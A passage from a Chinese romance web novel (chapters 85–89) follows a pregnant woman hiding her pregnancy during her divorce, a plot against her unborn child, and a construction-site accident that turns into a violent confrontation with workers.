乔云舒走到江莹身边,挽住她的胳膊,小声问:“表嫂,上次说可以帮忙联系山风大师做个笔筒还算数吧?”
江莹笑笑,“当然算数。”
她说着抬眸看了一眼陆砚深,狗男人若是知道他花了上千万要找的人就在眼前会怎么想?
陆砚深压着声音问她:“你也认识山风?”
江莹挑眉,“见过几面,而且凭钟老师跟她的交情,帮云舒拿到一个笔筒肯定没问题。”
陆砚深:“……”
他脸色暗了下来,自己在钟宏那里吃了闭门羹,这女人一个字都没有帮腔,感情三年同床不及表妹一句表嫂值钱。
江莹不是看不懂陆砚深的脸色,以前迁就惯了,他一个眼神江莹就知道他高兴还是不高兴,对于男人此刻明显拉下来的脸,怎么可能看不到。
但谁在乎?
她这会儿想的是什么时候才能回去,时刻不敢忘记医生的交代,要卧床静养。
趁着老爷子跟陆静淑做工作,江莹稍稍往病床边靠了靠。
陆砚深看出她似乎想找依靠,悄悄往她身边挪了一步,抬手搂在她腰上。
江莹后腰得到支撑,身体轻松了不少。
“肚子还疼?”陆
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砚深用只有两人能听到的话,低声问。
江莹轻轻点头,第一次觉得痛经也不是一点好处都没有。
“爷爷,晚会儿我还有个视频会,就先回去了,你安心修养。”
老爷子抬抬手,示意他们走,“回去吧,我这里好好的,不用天天跑。”
“好,出院时我来接您。”
陆砚深带着江莹离开,老太太暗暗叹气。
“砚深,最近跟转性了一样,似乎很黏江莹,你们有没有觉得?”
陆静淑连连点头,“回来第一天我就发现了,之前他不是不喜欢江莹,现在怎么感觉他很喜欢很在乎江莹呢?”
乔云舒笑笑,“表嫂那么漂亮,脾气性格友好,表哥喜欢她不是很正常。”
老爷子最开心,“两个多般配,往哪儿一站,用年轻人的话说,叫…叫养眼。”
老太太和陆静淑母女俩相视一眼,有些搞不明白。
此时的江北机场,陆君带着女儿给许振清送行。
一向强势的女人,这会依偎在丈夫胸口落泪。
“好了,别哭了,每次送我都哭,好像我一走就不回来了一样。”许振清亲吻着她的额头,嗓音温柔。
“别胡说八道,放假了就赶紧回来,我和诺诺等着你呢。”
诺诺站在一旁看着父母笑道:“妈妈都是大人了还哭鼻子。”
许振清摸了摸女儿的头,叮嘱道:“在家听妈妈的话,很快爸爸就回来了。”
“爸爸别忘了我的新年礼物。”
许振清点头,“忘不了。”
他拍了拍自己妻子,“带孩子回去吧,我要登机了。”
陆君擦了擦眼泪,“到了给我电话。”
走出机场刚上车,陆君才想起自己给许振清准备的礼物一直在自己包里没有送出去。
本来昨天晚上要送给他,结果许振清说有个同学想在他走之前见见,所以很晚才回家。
而他回来之后,似乎有心事,她也没找到机会。
陆君看了下时间拿着礼物往登机口跑,一路狂奔到登机口嗓子都要冒烟,腹部还一阵阵揪痛。
她按着肚子在登机口张望,没有看到许振清的影子。
抬头看向二楼,只见电梯口一个男人抱着孩子,背影跟自己丈夫很像,他身边还站着一个娇小的女人。
两人的背影从她眼前一闪而过,根本就没等她仔细分辨。
她愣怔了一瞬,拿出手机给许振清打电话,但一直没有人接。
电话挂断,陆君看到一条匿名短信:大姐,这个背影是不是很熟悉?
第85章 孩子不能留
照片里是一个男人抱着另一个小男孩儿,跟她刚刚看到的场景几乎一模一样。
陆君疯了一样站在登机口,前后左右搜寻。
然而除了行色匆匆的路人,没有看到任何可疑的人。
是谁?这人什么意思?
还有刚才那个抱着孩子的人到底是不是许振清?那个孩子是谁的?
太多的疑问钻入大脑,陆君整个人傻愣愣站在登机口,大脑一片空白。
她愣了好久,再回神发现自己浑身哆嗦。
慌忙间拿着手机回消息:“你是谁?什么意思?”
然而,消息发过去如石沉大海,她原地站了半个小时除了有飞机起飞的声音,什么消息都没有等到。
最终,人到了家里,魂儿还留在机场。
直到陆静淑回来看到她坐着发呆,叫了她两声,陆君才算回神。
她此刻心里有了一个让她后背发凉的想法——许振清是不是出轨了?
思来想去,陆君决定去一趟临市。
但,去做什么,怎么做,得好好计划一番。
……
江莹回到家,直接躺到了床上。
考虑到至少要卧床休息三天,她给王嫂发了消息,让她到梧桐里照顾几天。
陆砚深看她到家就躺在了床上,以为她肚子疼,给她冲了杯红糖水。
“要不要找个专家好好调理一下,每次都这么疼能行吗?”
江莹不是没有调理过,之前江岚没少带她看,但吃药调理期间好一些,过了一段时间又开始,反反复复。
“不用,谢谢!”
“你躺着休息,我去做饭。”
陆砚深会做饭,但很少做,江莹听到他要去做饭突然觉得很不真实。
“你不是要开会,我给王嫂发了消息,等会儿她过来做。”
某人蹙眉,“跟王嫂说明天再过来。”
男人说着离开卧室去做饭。
江莹昨晚睡得不算好,这会儿躺在床上,下意识摸着自己的小肚子。
若是让陆砚深知道她怀孕了,他会不会跟自己争夺抚养权?
看过太多去母留子的狗血剧情,这会儿不自觉在脑子里播放,让江莹更坚定不能让他知道孩子的存在。
想着想着开始犯困,等陆砚深做好饭过来,江莹睡得沉静。
看她不像之前痛得缩着,反而睡得还挺沉,陆砚深皱眉。
他在床边坐下,不生气的时候还挺招人喜欢,抬手将她额头上的头发拨到一边,嘴角不由地勾起了一抹笑。
开始怀念之前她粘人的样子。
之前觉得她太粘着自己,心里烦,现在人家不搭理他,还有些烦他,反而有些接受不了。
他第一次意识到,自己好像有点贱!
江莹睡得迷迷糊糊,感觉到有人碰她,嘟囔着,“滚,休想跟我抢孩子。”
嘟嘟囔囔带着睡意的话,让陆砚深凑近了听都没有听全乎。
唯独那一声“滚”特别清晰。
睡着了还不忘骂人,骂谁这么提劲儿,除了自己他想不出第二个人。
他抬手在江莹屁股上拍了一下,“醒醒,吃饭了。”
江莹猛地清醒,意识到陆砚深打了她,瞬间生气,“陆砚深,我警告你,你若是再敢碰我,我阉了你。”
虽然是打在她屁股上,但若是下手重点会不会就伤到孩子?
陆砚深以为是自己拍她屁股,让她觉得羞耻,勾唇笑道:“这会儿脸皮薄了,在医院大叫我脸比屁股大的时候,怎么没觉得你不好意思?”
江莹一噎,瞪了他一眼,狡辩道:“反正我警告你了,别再没轻没重地碰我。”
陆砚深弯腰,双手撑在床上,漆黑的眸子盯着她,“什么叫没轻没重?”
江莹咬牙,“你的脸皮与日俱增。”
陆砚深:“我怎么觉得你肚子不疼?以前你肚子疼,整个人都蔫了吧唧,这次怎么感觉精力不错呢?”
江莹:“……”
她愣了一瞬,眼睛瞬间耷拉下去,“你都是我前夫哥了,我还能跟你撒娇不行?”
陆砚深:“你天天跟前夫哥睡,等着前夫哥给你做饭吃,玩儿得挺花呀?”
江莹再次被狗男人的话噎住,半天气呼呼道:“不是要吃饭,你给我端过来。”
陆砚深舌尖抵着腮帮子,“你使唤我还
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挺顺手,不准在床上吃。”
江莹心里犯难,该怎么办?本来叫了王嫂来,这狗东西非要自己做饭,现在好了……
她眼珠子转转,“那个,你若是把饭给我端过来,我让钟老师把山风的联系方式给你的小心肝。”
陆砚深沉默了一瞬起身,江莹以为他要去端饭,谁知狗东西弯腰将人抱了起来。
“不想走,我抱你去,不能在床上吃饭。”
“这是我的床,我愿意在床上吃,我又没洁癖。”
但,叫嚣归叫嚣,却不敢像以前那样挣扎。
拗不过,最终厚着脸皮道:“你把我抱下去,得负责把我抱上来。”
陆砚深垂眸看着她,唇角微微勾起,“撩我呢?”
江莹气笑,无语道:“想屁吃?我肚子疼,不想走,伺候好了,明天就给。伺候不好,吃屁去。”
“我发现,自从你跟我闹离婚,灵魂彻底释放了。江莹,以前是不是装得挺辛苦?”
江莹气得想要掐他,但想到自己怀着孩子,暗暗劝说自己,不能生不气,跟狗生气不划算。
“我以前稀罕你,看你哪儿哪儿都顺眼。现在讨厌你,看你一眼都觉得碍眼,能一样吗?”
陆砚深:“……”
……
城南一家不知名的酒吧,一个男人坐在卡座闷不吭声地喝酒。
一个女人戴着口罩进来,不耐烦地坐下,抱怨道:“怎么约这么个鬼地方?”
“你想去哪儿?”男人抬眸睨了她一眼,“迷度那样上档次的地方,你敢去吗?”
女人不悦,“你吃错药了吧?到底什么事?”
“你要的东西。”
男人把手里的东西放在桌子上推到她面前。
女人眸子里带着不屑,“她能设计出什么好东西,也就你觉得好。”
嘴上说着还是把东西收了起来。
“别得了便宜还卖乖,这不是你求着要的?”
男人盯着自己手里的酒杯,根本就没有看她,语气冷硬。
“就为了这个东西,大晚上让我跑到这里?”
男人抿了口酒,眼神里透着痛苦,“她怀孕了。”
第86章 坑三姐,爽
这话让他对面的女人愣了一瞬,“怎么可能,我昨天晚上试探了,不像啊。而且,陆宁还把她关在露台冻了个半死。”
听到这话,对面的男人瞬间瞪大了眼,抓住女人的手眸子里透着狠厉,“谁让你动她的?”
女人被他狠厉的样子吓得怔了一下,然后快速甩开他的手,“你有病吧,都说了是陆宁。”
“那个缺心眼儿,不是你教唆,她会那么讨厌江莹?”
女人快速调整了情绪,不以为意道:“既然你舍不得动她,那你说现在怎么办?”
男人身子缓缓往后靠,又给自己倒了杯酒,“这件事在我意料之外,前面已经安排好的计划要提前,也要变一下。”
“提前没问题,怎么变?”女人挑眉,“你是打算当接盘侠,喜当爹?”
男人没有看她,声音低沉,“我会让她去现场,其他照计划进行,孩子不能留。一旦陆砚深知道孩子的存在,他更不可能同意离婚。”
“行,只要你舍得,没有做不成的。除非,她怀的是个哪吒。”
说完,女人起身离开。
第二天,陆砚深上班走后,江莹打电话给钟宏,让她把自己的微博号给对方。
果然,半个小时后,对方在微博上给她发了私信。
江莹没有浪费时间,直奔主题。
山风:你想要买我三年前的设计稿?
欣欣:是,我们秦氏想要拿下逍遥楼的设计和建造权,还请大师帮忙。
山风:我可没有那么好心,从来不白帮。
欣欣:当然,您开个价。
山风:一千万。
欣欣:您开玩笑的吧?
山风:我们熟吗?
欣欣:第一次聊,应该算不熟。
山风:不熟**嘛跟你开玩笑?
对方沉默良久,江莹隔着屏幕想象着秦欣暴跳的样子,神清气爽。
十分钟后,对方回复。
欣欣:能不能少点,这是我见过最高的设计费。
山风:不勉强,你们可以另请高明。
又是一阵沉默,江莹耐心等着,不怕秦欣不同意,陆砚深捐了近千万的设备,若是她因为这一千万放弃,她怎么跟陆砚深交代?
更何况是名利双收的项目,她不会放弃。
最终,秦欣同意。
谈妥之后,她给钟宏打电话,钟宏说她太鸡贼,这么坑小三,爽。
两人谈了江莹最新版的设计图之后,江莹坐在床上修改图纸。
一连四天她在家过得舒心又自在,而且没有再出过血,江莹心里彻底踏实了。
周日中午,梁玥约她吃饭。
伺候了一周的大爷,好不容易可以做回自己,自然要吃顿好的犒劳自己。
江莹在家闷了四天,也想出去透透气,就同意跟梁玥一起吃饭。
考虑到自己不能吃太刺激的东西,江莹跟梁玥约了一起去鱼膳坊喝鱼汤。
约好的十二点,结果江莹在鱼膳坊等了她将近一个小时,梁玥才匆匆赶到。
“怎么这么晚?”江莹有气无力,饿的。
“不是让你先吃。”梁玥看她蔫了吧唧,一脸愧疚,“沈斯阳那个狗东西临时让我给他送个文件,差点还让我陪他们一起吃饭。还好我开溜了,要不然又得到很晚了。”
江莹摇头,听她这话想到了杜宇,全年无休,随叫随到,挣了钱都不知道怎么花。
鱼汤上来,江莹给她盛了碗鱼汤,“赶紧吃饭,我都饿**。”
她说着给自己也盛了一碗,刚送到嘴边,胃里一阵翻腾。
江莹放下鱼汤抽了纸巾捂住嘴,好一会儿才把那股恶心劲儿压下去。
梁玥见状放下筷子担心地问:“怎么了,不舒服?”
江莹放下纸巾,在自己胸口顺了顺,小脸发白,“没事,我缓一会儿。”
想到这几天江莹说不太舒服一直在家休息,梁玥顿时心慌,“我们去医院,有病不能拖。”
“我没事,别担心。”江莹拉住她的手,示意她做好。
“你看你脸上,这会儿一点血色都没有,还说没事。”
江莹轻松地笑了笑,关于孕期的知识她这几天恶补了很多,而且医生也说饿了怀孕初期有孕吐反应很正常。
为了宝宝和孕妇的身体,只能逼着自己吃,吃了吐也要吃。
忍着胃里的不适,她皱眉喝鱼汤。
看她难受还强忍,梁玥突然眼泪就出来,“莹莹,你不是一个人,有事你跟我说,我们一起扛,陆砚深若是为难你,我帮你揍他。”
江莹看她急得快哭了,无奈地笑笑,“你坐好,我跟你说件事。”
怀孕的事,谁都可以瞒着,但梁玥不能瞒,也瞒不住。
梁玥挺了挺后背,“你说。”
“我怀孕了。”
梁玥充满泪水的眼睛瞬间瞪大,“你……你是说……”
“是,真的。”
梁玥瞪着眼睛伸头过来,压着声音问:“谁的?”
闻言,江莹拿起
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筷子敲她,“胡说什么呢?”
“不,不是那个意思,我是想说,陆砚深不是防着你,从不留种吗?”
江莹尴尬的脚趾扣地,真后悔跟她说那么多,如今只能硬着头皮道:“意外。”
梁玥叹气,“那这婚还离吗?”
“离,孩子是意外,离婚不是意外。陆砚深不爱我,我不想让孩子跟我一样,出生就不被自己父亲喜欢。再说了陆砚深也不想让我生孩子,所以孩子的事不能让他知道。”
“虎毒不食子,他也不像是那么狠毒的人,应该不至于。”
“反正不管有没有孩子,都改变不了他要照顾秦欣她们母子一辈子,我又何必呢。”
梁玥沉默几秒后,笑道:“也对,这年头爱情最不值钱,活得开心最重要。放心,孩子不光有你,还有我呢,我跟你一起养。”
江莹庆幸,她有一个三观合拍的好闺蜜,没有劝她打掉孩子。
她笑笑,“你确定要跟我一起养?”
“小看我不是,我现在这收入虽然比不上你日进斗金哈,但咱养两三个孩子还是没问题的。”
江莹眨了眨眼,“原来你这么有实力,看来我以后养两个孩子完全不用发愁。”
“当然不用发愁,有什么好愁的。”梁玥说着喝了口鱼汤,刚咽下去猛然抬头看着江莹,“你说两个?”
江莹点头,抿唇笑,“两个。”
“**,姐妹儿,你是真牛,都要离了还能带走陆砚深两个种。”她说着冲江莹竖起来大拇指,“这要是将来争财产,咱绝对能分不少。”
两人正说着,薛婷婷打来电话。
她迟疑了一瞬,接通电话,“婷婷,有事?”
“江姐,正在施工的游乐园项目出事故了,目前已经造成两名重伤五名轻伤。”
江莹听到这个消息,不由地哆嗦了一下,汤匙直接掉进碗里。
南郊的游乐园项目,当时她是主要负责人。
“江姐,你在听吗?孙经理想让你过来看看,我已经在工地等你了。”
薛婷婷的声音,让江莹回神,“哦,我在听。”
思索片刻,想到薛婷婷在等她,江莹答应:“好,我马上过去。”
虽然已经离职,但毕竟是自己做的设计,于情于理她都不能不去。
挂断电话,江莹要走,梁玥拦住她,“我陪你去。”
两人到了停车场,梁玥看到自己的车瞬间傻眼,她的车胎被人扎了两个大洞。
第87章 浴室的第一次
“谁特么这么缺德。”梁玥气得一脚踹在瘪了气的车胎上,“我得罪谁了?”
江莹看了看四周,语气隐隐带着焦急,“这里没有监控,想找到人有点难。”
“让我知道谁干的,非扒了他的皮。”
梁玥气死了,那么大两个洞,黑漆漆瞪着她,无声的挑衅。
江莹看了下时间,怕薛婷婷等着急,“玥玥,你处理车子,明天还要上班,我自己去工地就行。”
梁玥不放心,“工地太乱,不安全。”
江莹想想工地确实乱,于是开口:“我给凌澈打电话让他陪我去,再说了现场还有陆氏的人,应该不会有大问题。”
梁玥听到凌澈觉得可以,那家伙对江莹简直不要太上心。
亲姐都没有师姐亲!
“行,那你一定要注意安全。”
江莹比了个OK的手势,开车离开。
梁玥气呼呼打电话叫拖车。
电话挂断没一会儿,宋瑾修走了过来,“玥玥?”
“师哥!”梁玥没想到会碰上他,“你也在这边吃饭吗?”
宋瑾修点头,“对,刚送走客户,你站这儿干嘛呢?”
梁玥小脸垮了下来,“别提了,跟莹莹一起吃饭,出来车胎被人扎了。”
宋瑾修弯腰查看她的车,“叫拖车了吗?”
“打过电话了,就是等拖车呢。”
“上车里等,外面冷。”宋瑾修嗓音温润,说着疑惑道:“莹莹呢?”
“哦,她之前那个游乐园项目出了点问题,去工地了。”
梁玥犹豫要不要让师哥过去看看,万一现场遇到什么,身边自己人越多江莹越安全。
“问题严重吗?”
“有人受伤,师哥……”
梁玥刚想开口询问,宋瑾修又问,语气急切,“她一个人去的?”
梁玥点头,“对,刚走有十分钟。”
“我去看看,万一现场有人闹事就麻烦了。”宋瑾修说着焦急地离开,还不忘转头叮嘱梁玥,“坐车里等,外面冷,放心感冒。”
“知道了,谢谢师哥。”
梁玥感动不已,宋瑾修的温和是刻在骨子里的,对谁都那么好。
现在他去工地,梁玥瞬间安心,只要有宋瑾修在别人就伤害不了江莹。
三年前,江岚刚出事,张启明不愿交医药费,江莹不得不卖了自己的首饰和包儿,最后到处打工挣钱。
她在酒吧推销酒水,宋瑾修每天下班去接她,看江莹被小混混纠缠,他一个人打三个,浑身是血把江莹护在身下。
这样的男人,情绪稳,性格暖,专一深情,简直就是梦中情人,完美丈夫。
……
陆氏,总裁办公室。
年底本就事情多,加上家里事也多,耽误不少工作,陆砚深在加班。
吃过午饭,刚打电话让秘书泡咖啡,杜宇敲门进来。
“陆总,各分公司的年度财务报表我已经按照你的要求,做了深度比对,纵向横向多维度分析,都发你邮箱了。这几个分公司有点问题,存在经营管理不善的情况,业绩下滑也是这个原因。”
杜宇说着将几份分析报告递给陆砚深。
陆砚深接过看了看,嘴角微扬,“做得不错,但我不喜欢只点炮,周三前给我整改意见。”
杜宇生无可恋地皱了下眉,心想今天是周末,几天连轴转分析财务报表及分公司情况,刚想着可以松口气,活儿又来了。
果然,没有能干完的活儿,只有累死的牛马。
“有难度?”
“我是觉得时间……”
杜宇刚想说时间有点紧,只听对面一道冷沉的声音。
陆砚深垂眸看着手里的分析报告,嗓音淡淡,“我在想,你今年工作完成得不错,明年给你加薪该加多少?”
杜宇一听,脸上的为难之色一扫而过,笑眯眯道:“加多少都是您的心意,不管加多加少我都会认认真真努力工作。”
陆砚深皱眉,他知道杜宇的工作能力,这点事难不住他。
“油口嘴滑舌,你手里那份是什么?”
杜宇脸上笑意收敛,取而代之的是疑惑不解,“这是临市分公司的财务分析,我有点没搞明白,但觉得应该有问题。”
陆砚深神色严肃了几分,“详细说说。”
“三年前许总提出改造生产线,将贴片电阻和电容的报废率从13%降到了7%,按说利润逐年应该有明显增长。
但从这几年的财报来看并没有,几乎每年变化都不大。哦,当然每年也是有增加的,就是三年增加的利润都没有当初生产线改造花费多。”
杜宇本来不想说,但隐隐觉得哪里有问题,若是非要从现有的资料找问题,那大概就是利润增长的太一致,每年二十万的利润增长跟资金流水太不匹配。
陆砚深知道许振清的能力,前些年他刚到临市可以说是负重前行。
用了三年的时间,硬是将一个每年拖后腿的企业扭转了局面。
这两年国家为解决芯片卡脖子问题对相关产业多有扶植。
临市分公司的订单量逐年增加,按说优化了生产线利润确实应该会有明显的增长。
陆砚深思索片刻声音严肃,“没有证据不要乱说,按排人私下查一下,或许有我们不知道的难处。”
杜宇点头,“陆总说的是。对了,下周逍遥楼项目正式启动,秦小姐要过去。”
“她要去哪儿,不用跟我汇报,你尽快找一个职业经理人。秦董的身体已经不能胜任公司的事,秦欣也不是一个能扛旗的。”
杜宇点头,“这个我知道,您放心。下周五逍遥楼项目第一次研讨会,将选出设计图,据我所知钟教授会带太太一起去。而荣盛的宋总有个项目下周也会在那边,我们要不要借此机会去一趟临市分公司。”
陆砚深睨着他,一眼就看出他的别有用心。
杜宇被他冷冽的眼神看得发毛,小声嘟囔,“不去也行,我安排人私下查。”
陆砚深,“提前安排好下周的工作。”
“是。”
杜宇松了一口气,心想装得再严肃,不还是要去。
杜宇刚准备走,市场部孙经理着急忙慌进来。
“陆总,南郊工地出事故了,有两名工人伤势较重。”
陆砚深缓缓坐直了身体,“你是说南郊那个游乐园项目?”
孙经理点头,“现场监理说那两名伤势严重的,目前正送往医院抢救,怕是有生命危险。”
陆砚深听得直皱眉,本来就是一个无关紧要的项目,但因为是江莹第一次参与竞标并负责全面设计,他才对此有印象。
当时,江莹带着项目组拿下合同后,回家心情特别好,一晚上缠着他,兴奋地跟他说着自己的设计方案。还厚脸皮的说,要生一个孩子,这样她就可以带着孩子在自己设计的游乐园玩,然后骄傲地告诉孩子这是他妈妈设计的。
女人明媚骄傲的神色在他脑中依旧清晰,那晚他们也确实很动情,还有了浴室的第一次。
陆砚深思索片刻,看向杜宇,“稳住现场,安抚好工人,尽力救治伤员。并让公关部配合市场部做好后续相关工作,把事情控制住,尤其注意舆论。”
杜宇点头,“我麻烦安排。”
孙经理纠结着开口:“陆总,事故现场反馈是设计问题,负责人江莹已经离职,是否……”
杜宇刚准备离开,脚步顿住。
陆砚深皱眉,冷声道:“既然已经离职就跟项目没有关系,一个室内装修,你还想终身追责不成?”
孙经理忐忑道:“我已经让她的助理通知她,毕竟江莹更清楚,便于配合我们调查问题。”
本来不是什么大事,但若真出了人命,事情就不会简单。
“陆总,现场肯定比较乱,农民工情绪激动万一做出点过激的事……”
杜宇本来是想说要不要派两个保镖过去,没想到他话还没有说完,陆砚深蹭地一下站了起来,冷声道:“去现场。”
第88章 拳头朝着江莹的肚子砸了过去
半小时后,江莹达到现场,里面已经乱成一团。
“明明是你们设计方案有问题,没有考虑到承重问题,现在还不承认。”包工头声如洪钟,气势骇人。
薛婷婷和市场部的一个男同志高雷被一群农民工围着,吓得不敢说话。
江莹看到这场面,心里也是一哆嗦,但听到包工头说是设计方案有问题,深吸一口气走了进去。
“张工,你先别着急,我是这个项目的设计师江莹,我们见过,也聊过施工方案。这样,我们再看看图纸,若真是我们的责任,我们一定会承担。”
“承担,你拿什么承担,因为你们设计方案有问题,我两个兄弟在医院抢救,还伤了五个。他们都是家里的顶梁柱,你能承担得起吗?”
江莹顺着包工头的手指往左边看过去,看到人群后面旁边躺着五名工人时,心里突突直跳。
工作三年半,她也是第一次遇到这样的情况,说不害怕是假。凌澈还没有赶过来,她忐忑地将自己的包挡在肚子前。
但方案毕竟是她出的,也是她一直跟进的,心里愧疚不已。
“张工,先打电话把他们送医院,这么躺着耽误治疗就麻烦了。”江莹说着掏出手机打电话。
“不行,已经送过去两个,再送医药费谁出?我们不可能一直垫付,这么多兄弟都等着拿钱回家过年呢。”
包工头阻止她,一把抢过她手里的电话。
五个人,各个浑身带血,躺在地上因为疼痛蜷缩着身子。
“人命关天,你不救,我来救。”江莹看不下去,直接吩咐,“婷婷,打电话叫救护车。”
“本来就应该你救。”这时人群中一个大学生模样的年轻人厉声呵斥,“你做的方案有漏洞,造成这么严重的事故,你这种人就应该去坐牢。”
江莹本来就怕有人煽动农民工闹事,没想到还真有。
但这种情况下只能好声安抚:“事情会调查清楚,当务之急是先把受伤的工友送到医院。”
包工头把重伤的人已经送走,现场这五个伤势不算严重,为的就是跟开发商闹,索要更多的赔偿。
“江小姐,我也不想让你为难,但你的设计方案确实有问题。你看看,这里是承重墙,之前说好的做一个拱形门,为什么又要全部拆除?”
包工头拿着图纸,手都是抖的,“我就今天没有在现场,就出这么大的事。”
江莹接过图纸,竟然真有问题,明明之前核实过的,承重墙不拆除只开门,但图纸上却标注得拆除。
她反复查看图纸,没有问题,有公司的章。
一时间不知道问题出在哪儿,“张工,你想一下,有没有人跟你说过改图纸的事?”
哪曾想自己顺嘴说的一句话,将人激怒了。
“你这话什么意思?”
包工头把安全帽往地上一摔不干了,“江小姐,我们可是按图施工的,这图纸都是受控的。”
江莹看他误会,急忙安抚,“张工,事情发生了,我们也不会逃避责任,原因也一定会查清楚。”
旁边的年轻小伙子怒气冲冲,“查清楚?你是老板娘,陆氏这么大的企业想要掩盖事实真相那是分分钟的事,我们这些小老百姓怎么跟你们这些资本家抗衡?”
他这话一出,周围的农民工瞬间又围了上来,其中一个人拿起安全帽朝江莹砸了过来。
江莹还没有反应过来,一只大手快速揽住她的腰,将人带到一边。
本来朝着江莹的安全帽直直砸在男人的肩膀上。
“莹莹,没事吧?”
宋瑾修的声音透着隐忍,显然刚才那一下被砸得不轻,若是砸在江莹身上后果不堪设想。
江莹看他眉头紧皱,满眼担心,“我没事,你怎么样砸到哪里了?”
“我……不碍事。”
宋瑾修说着将她护在身后,冷冷看向包工头,“施工现场发生这样的事,不是先救治伤员,而是想着怎么讹钱,你就是这么带队的?”
“我……”包工头一时语塞,咬牙瞪着宋瑾修两秒,随即冷笑道:“别转移话题,你们这些有钱人我们斗不过,现在我们妥协了谁知道你们后面会不会耍赖。”
一旁的小伙子不屑道:“张哥说得对,现在是资本的天下。再说了,本来就是这女的设计有问题,害我们大家都差点丧命。”
“出了事,就想推卸责任,我们干了这么多年不是第一次见你这样的。”
一个大汉气呼呼上来就推搡,宋瑾修被他推得踉跄,他却转身本能地把江莹护在怀里。
江莹扶着宋瑾修还没有站稳,身后的人一把扯住她头发。
宋瑾修刚要伸手去拉江莹,被大汉揪住胳膊。
一时间场面有些乱,本来施工现场东西就多,不知道是谁推了江莹一把,她身体不受控制往后退了两步,后脑勺直接撞在脚手架上,瞬间两眼冒金星。
紧接着两眼一黑,后背擦着脚手架缓缓下移,直接瘫在地上。
“江姐?”
薛婷婷看江莹倒地,直接哭了起来。
“莹莹!”
宋瑾修跟拽着他的农民工直接打了起来。
凌澈赶来,隐约看到江莹被推,急着往里去,却被两个农民工拦着不让他进。
人群中一直煽风点火的小伙子,又火上浇油,“江小姐,本来就不是学现代装潢设计的,因为是陆砚深的妻子,顺手拿了项目想作为她在行业立足的资本,没有专业能力,能不能不要出来害人?”
江莹躺在地上还没有缓过来,看那个男生咬牙切齿地看着她,疑惑不解。
他是怎么知道自己和陆砚深是夫妻的?
小伙子的话,无疑让本就情绪不稳的农民工,瞬间暴涨起来。
跟宋瑾修拉扯的那个人,一脚踩在他手上,他瞬间发出一声痛苦的呻吟,“啊!”
江莹看师哥被人踩,心里急得不行,“张工,我们接触过几次,我是不是不懂设计,你最清楚,出了事情我们好好解决,你们不能伤人。”
推倒江莹的那个农工人,一把将她从地上揪了起来,怒不可遏,“你的人你心疼了,我们农民工的命就不是命吗?”
江莹本来就有点晕,被他这么一晃,脑袋更晕,双手却紧紧攥着包挡在自己肚子前面。
而那个怒吼的人,吼完举起拳头朝着江莹的肚子直直砸了过去。
第89章 整个手掌都是血
凌澈好容易挣脱纠缠,冲了进来,看到这一幕,直接冲了过去。
那个农民工挥起的拳头,直接砸在他胯骨上。
江莹脸色惨白,那人抡起的拳头,让她晕乎乎的脑子瞬间被恐惧填满。
没想到绝望之际,凌澈替她扛了一圈。
秦欣站在人群里,看到这一幕,恨得不行,怎么一个个为了这女的都往上扑?
这傻小子,坏了好事。
“大哥,你冷静一下。”
薛婷婷见劝不住拉着包工头的胳膊求情,“张工,现在这么闹也不是办法,你们就算是把我们困在这里,也拿不到钱不是,我们先把人送医院,然后再协商。”
小伙子冷哼,“就怕你们不拿钱,到时候这些债都得让农民工大哥来扛。”
包工头为难,看了眼那个小伙子,一旁的人也激动。
“这要是人送进医院了,她们跑了,我们今年不是要吃土了?”
“我家孩子还等着我拿钱回去交学费呢。”
“俺家也是等钱用呢,俺娘股骨头坏死,等着我拿钱回去做手术嘞。”
大汉看自己的拳头没有落在江莹身上,计划被一个不知死活的小伙子打破,瞬间暴躁,“果然是老板娘,一个个都来护着她。”
他说完,全力推开凌澈,再次将焦点对准江莹,揪着她又晃了两下,“你倒是说话呀,我们都被你坑惨了。”
宋瑾修被两个农民工压制着,拼尽全力爬到江莹身边,声音沙哑,“你放开她。”
江莹被晃得想吐,看凌澈被人拉着,师哥被人压在地上,地上有血迹渗出,心里急得不行。
又担心他再对自己出手伤到孩子,江莹转头忍着胃里的翻滚一口咬在那个大汉手背上。
“嘶……”
“你个臭婊子。”
他另一只手扬起来的瞬间被人从后面扼住,下一秒,腿弯处被人狠狠踹了一脚,紧接着整个人扑通一下跪在地上。
“谁再动手,今年在局子里过年。”陆砚深冷冽的声音将试图靠过来的人呵斥住。
杜宇和两个保镖接踵而来,将陆砚深和江莹护在中间。
陆砚深将人搂在怀里,看她脸色煞白冷声开口,“谁动的手?”
薛婷婷垂眸弯腰将地上的宋瑾修扶了起来,盯着宋瑾修手上的血,红了眼眶。
一直被围着的市场部那个男同事抬手指向了几个人和煽风点火的小伙子。
“陆总,这几个人动的手,那个小伙子煽动群众。”
陆砚深睨了一眼想要逃的那个小伙子,“别让他跑了。”
说完弯腰将人抱起,然后抱着江莹往外走。
江莹挣扎,“你放我下来,我师哥受伤了。”
宋瑾修被压在地上时,因为挣扎,手掌被一根钉子扎到,整个掌心都是血,这会儿顺着手背往下滴。
陆砚深没有停,反而把人抱得更紧,“他受伤需要的是医生,你自己都半条命了,能帮上什么忙?”
江莹挣脱不了,指甲抠进陆砚深的胳膊,“你放我下来,我要看看他伤得怎么样?”
刚刚那种情况师哥不顾安危护着她,自己若是就这么走了,她还是个人吗?
陆砚深咬牙顿住脚步,声音冷硬,“有话赶紧说。”
“师哥,你的手……”
宋瑾修勉强扯出一个笑,“我没事,你赶紧去医院检查一下,不用担心我。”
江莹看着那只滴血的手,想起那场车祸,瞬间呼吸都有些困难,她喘着气泪往下掉,“师哥,你也快点去医院。”
陆砚深看江莹这反应,脸上瞬间黑了几个度,还真是哥哥妹妹情深,心疼得呼吸都上不来了。
“师姐,你别担心,我陪着宋哥去医院。”凌澈这会儿突然觉得自己很渺小,对于自己在乎的人他连保护她的能力都没有。
“杜宇,安排宋总去医院。”
他留下这句话,抱着江莹离开。
这女的倒是有本事,哥哥弟弟集齐了。
薛婷婷扶着宋瑾修,声音哽咽,“值得吗?”
宋瑾修没有说话,看着前面离开的人,眼神狠厉。
目送陆砚深抱着江莹离开,凌澈上前去扶宋瑾修,莫名被他推开。
凌澈以为他是故作坚持,被推后,不但没有生气,反而担心地问:“宋哥,你伤得不轻,赶紧处理伤口。”
宋瑾修控制着情绪,声音淡淡,“不用,我还有事。”
江莹被送到医院时,整个人还头晕目眩,一阵阵泛呕。
陆砚深看着她难受的样子,心里着急,嘴里说出的话,让别人也不舒服,“你是不是傻,那种情况是你能处理的?”
江莹已经很难受了,狗男人还责怪她,“你有没有良心,我已经很难受了。再说了,当时婷婷被人围在里面,我能坐视不管?毕竟是我负责设计的方案。”
“你一个小小的设计师,真把自己当建筑设计大师了,还想终身负责。”
江莹:……
